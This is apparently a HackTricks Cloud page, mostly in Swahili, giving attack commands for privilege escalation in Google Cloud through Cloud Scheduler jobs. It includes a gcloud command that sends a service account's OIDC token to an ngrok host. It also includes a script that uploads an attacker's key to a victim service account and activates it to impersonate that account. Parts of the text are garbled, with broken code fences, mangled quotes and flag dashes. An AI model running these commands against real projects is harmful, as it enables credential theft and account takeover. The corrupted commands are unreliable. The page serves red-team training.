GCP - Cloud Scheduler Privesc
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na đŹ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter đŚ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Cloud Scheduler
More information in:
cloudscheduler.jobs.create , iam.serviceAccounts.actAs, (cloudscheduler.locations.list)
Mvamizi mwenye ruhusa hizi anaweza kutumia Cloud Scheduler kuidhinisha kazi za cron kama Service Account maalum. Kwa kutengeneza ombi la HTTP POST, mvamizi anapanga vitendo, kama kuunda Storage bucket, vitakavyotekelezwa chini ya utambulisho wa Service Account. Njia hii inatumia uwezo wa Scheduler kuilenga endpoints *.googleapis.com na kuidhinisha maombi, ikimruhusu mvamizi kudhibiti Google API endpoints moja kwa moja kwa kutumia amri rahisi ya gcloud.
- Wasiliana na google API yoyote kupitia
googleapis.comkwa OAuth token header
Create a new Storage bucket:
Unda job ya Cloud Scheduler ili kuunda GCS bucket kupitia API
```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=Ili kuongeza mamlaka, mdukuzi anatengeneza tu ombi la HTTP linalolenga API inayotakiwa, akijinakilisha kama Service Account iliyoainishwa
- Exfiltrate OIDC service account token
Tengeneza job ya Cloud Scheduler ili exfiltrate OIDC token
```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']Listen in the ngrok address to get the OIDC token in clear text.
</details>
Ikiwa unahitaji kukagua majibu ya HTTP unaweza tu **angalia logi za utekelezaji**.
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
Kama katika senario iliyopita, inawezekana **kusasisha scheduler iliyoundwa tayari** ili kuiba token au kufanya vitendo. Kwa mfano:
<details><summary>Sasisha kazi ya Cloud Scheduler iliyopo ili exfiltrate OIDC token</summary>
```bash
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
Mfano mwingine wa kupakia private key kwa Service Account (SA) na impersonate:
Pakia private key kwa Service Account kupitia Cloud Scheduler na impersonate
```bash # Generate local private key openssl req -x509 -nodes -newkey rsa:2048 -days 365 \ -keyout /tmp/private_key.pem \ -out /tmp/public_key.pem \ -subj "/CN=unused"Remove last new line character of the public key
file_size=$(wc -c < /tmp/public_key.pem) new_size=$((file_size - 1)) truncate -s $new_size /tmp/public_key.pem
Update scheduler to upload the key to a SA
For macOS: REMOVE THE -w 0 FROM THE BASE64 COMMAND
gcloud scheduler jobs update http scheduler_lab_1
âschedule=â* * * * *â
âuri=âhttps://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=jsonâ
âmessage-body=â{"publicKeyData": "$(cat /tmp/public_key.pem | base64 -w 0)"}â
âupdate-headers âContent-Type=application/jsonâ
âlocation us-central1
âoauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com
Wait 1 min
sleep 60
Check the logs to check it worked
gcloud logging read âresource.type=âcloud_scheduler_jobâ AND resource.labels.job_id=âscheduler_lab_1â AND resource.labels.location=âus-central1â
jsonPayload.@type=âtype.googleapis.com/google.cloud.scheduler.logging.AttemptFinishedââ âlimit 10 âproject
If any ââstatusâ: 200â it means it worked!
Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: âstatusâ: 400
Build the json to contact the SA
Get privatekey in json format
file_content=$(<â/tmp/private_key.pemâ) private_key_json=$(jq -Rn âarg str â$file_contentâ â$strâ)
Get ID of the generated key
gcloud iam service-accounts keys list âiam-account=victim@$PROJECT_ID.iam.gserviceaccount.com
Create the json in a file
NOTE that you need to export your project-id in the env var PROJECT_ID
and that this script is expecting the key ID to be the first one (check the head)
export PROJECT_ID=⌠cat > /tmp/lab.json <<EOF { âtypeâ: âservice_accountâ, âproject_idâ: â$PROJECT_IDâ, âprivate_key_idâ: â$(gcloud iam service-accounts keys list âiam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d â â -f 1 | grep -v KEY_ID | head -n 1)â, âprivate_keyâ: $private_key_json, âclient_emailâ: âscheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.comâ, âclient_idâ: â$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d âââ -f 2)â, âauth_uriâ: âhttps://accounts.google.com/o/oauth2/authâ, âtoken_uriâ: âhttps://oauth2.googleapis.com/tokenâ, âauth_provider_x509_cert_urlâ: âhttps://www.googleapis.com/oauth2/v1/certsâ, âclient_x509_cert_urlâ: âhttps://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.comâ, âuniverse_domainâ: âgoogleapis.comâ } EOF
Activate the generated key
gcloud auth activate-service-account âkey-file=/tmp/lab.json
</details>
## Marejeleo
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
> [!TIP]
> Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Jifunze na fanya mazoezi ya Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
>
> - Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
> - **Jiunge na** đŹ [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** đŚ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
>
> </details>
HackTricks Cloud

